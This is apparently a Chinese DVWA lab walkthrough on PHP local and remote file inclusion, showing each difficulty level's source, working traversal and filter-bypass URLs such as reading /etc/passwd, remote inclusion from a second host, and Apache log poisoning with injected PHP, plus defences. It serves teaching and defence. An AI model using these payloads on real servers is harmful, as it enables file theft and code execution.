DVWA学习(八)文件包含漏洞

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就能够经过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时若是没有对文件来源进行严格审查,就会致使任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是由于开启了php配置中的allow_url_fopen选项(选项开启以后,服务器容许包含一个远程的文件)。
本地文件包含(Loacl File Inclusion,LFI):
经过浏览器引进(包含)web服务器上的文件,这种漏洞是由于浏览器包含文件时没有进行严格 的过滤容许遍历目录的字符注入浏览器并执行。php

远程文件包含(Remote File Inclusion,RFI):
该漏洞容许攻击者包含一个远程的文件,通常是在远程服务器上预先设置好的脚本。 此漏洞是由于浏览器对用户的输入没有进行检查,致使不一样程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码html

系统中常见的敏感信息路径以下:
(1)Windows系统web

9113969-d95740aafec4c6e8.png
图片.png

(2)Linux系统
9113969-edde178deda07623.png
图片.png

LOW难度

源码:shell

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

page参数没有任何过滤。点击三个文件名,服务器会包含相应的文件,page参数是不可控的。浏览器

9113969-6ad4eb7685947afc.png
图片.png

服务器包含文件时,无论文件后缀是不是php,都会尝试当作php文件执行,若是文件内容确为php,则会正常执行并返回结果,若是不是,则会原封不动地打印文件内容,因此文件包含漏洞经常会致使任意文件读取与任意命令执行。
本地文件包含
绝对路径:
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=/etc/passwd
../返回上级目录,能够用屡次先返回到根目录而后再进入目标目录
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=../../../../../../etc/passwd
9113969-f1258348b3cd8337.png
图片.png

远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会容许包含远程服务器上的文件,若是对文件来源没有检查的话,就容易致使任意远程代码执行。
在主机服务器建立test.txt文件安全

9113969-bb5f72e264bdb967.png
图片.png

构造url http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=http://192.168.86.1/test.txt
9113969-027e018cf99fb7f1.png
图片.png

Medium难度

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>

使用str_replace函数过滤了http://和https://,以及../和..。服务器

使用str_replace函数是极其不安全的,由于可使用双写绕过替换规则。
同时,由于替换的只是“../”、“..\”,因此对采用绝对路径的方式包含文件是不会受到任何限制的。

远程文件包含:
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=htthttp://p://192.168.86.1/test.txt函数

9113969-a97854a396bc56e9.png
图片.png

High难度

源码:网站

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

fnmatch() 函数根据指定的模式来匹配文件名或字符串。ui

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

这个if语句的意思是若是page中不含有file而且page不等于include.php服务器才不回去包含相应的文件。两个条件只要不知足其中之一就能够,要么page等于include.php,要么page含有file。用file://流访问本地文件系统
http://192.168.86.128/DVWA-master/vulnerabilities/fi/?page=file:///etc/passwd

9113969-94b2419b435d5722.png
图片.png

至于执行任意命令,须要配合文件上传漏洞利用。首先须要上传一个内容为php的文件,而后再利用file协议去包含上传文件(须要知道上传文件的绝对路径),从而实现任意命令执行。

impossible

源码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

采用白名单机制进行防御,,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,完全杜绝了文件包含漏洞。

利用

1.包含Apache日志文件:

Apache运行后通常默认会生成两个日志文件,这两个文件是access.log(访问日志),和error.log(错误日志),Apache的访问日志文件记录了客户端的每次请求以及服务器响应的相关信息。

9113969-f7c4178733c0d416.png
图片.png

9113969-beb7af9d8a758286.png
图片.png

当访问一个不存在的资源的时候,Apache日志文件一样会记录,这就意味着,若是网站存在本地包含漏洞,却没有能够包含的文件时,就能够去访问URL:
http://ww.XXX.com/<?php phpinfo();?>
Apache会记录请求'<?php phpinfo();?>',并写到access.log文件中,这时再去包含Apache日志文件,就能够利用文件包含漏洞了。
可是访问URL后,一句话木马在日志文件中变形了,这是因为URL编码的缘故。PHP中的<>都被浏览器转码了,可是能够经过burp抓包绕过编码。

前提是攻击者知道Apache的日志路径。
9113969-7caf80be201b4f93.png
图片.png
成功写入日志文件
9113969-b139a07465745c75.png
图片.png

由于MySQL用户权限不足,不能读取Apache的日志,须要提权操做。
2.配合文件上传漏洞
和文件上传漏洞或者SQL注入漏洞等一同利用,经过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,而后再经过文件包含漏洞包含出现从而获得shell。
例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>
直接包含该文件会将该文件以PHP来运行:

防护方法:

一、严格判断包含中的参数是否外部可控。

二、路径限制,限制被包含的文件只能在某一个文件夹内,特别是必定要禁止目录跳转字符,如:“../”。

三、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。

四、尽可能不要使用动态包含,能够在须要包含的页面固定写好,如:“include("head.php")”。

五、能够经过调用str_replace()函数实现相关敏感字符的过滤,必定程度上防护了远程文件包含。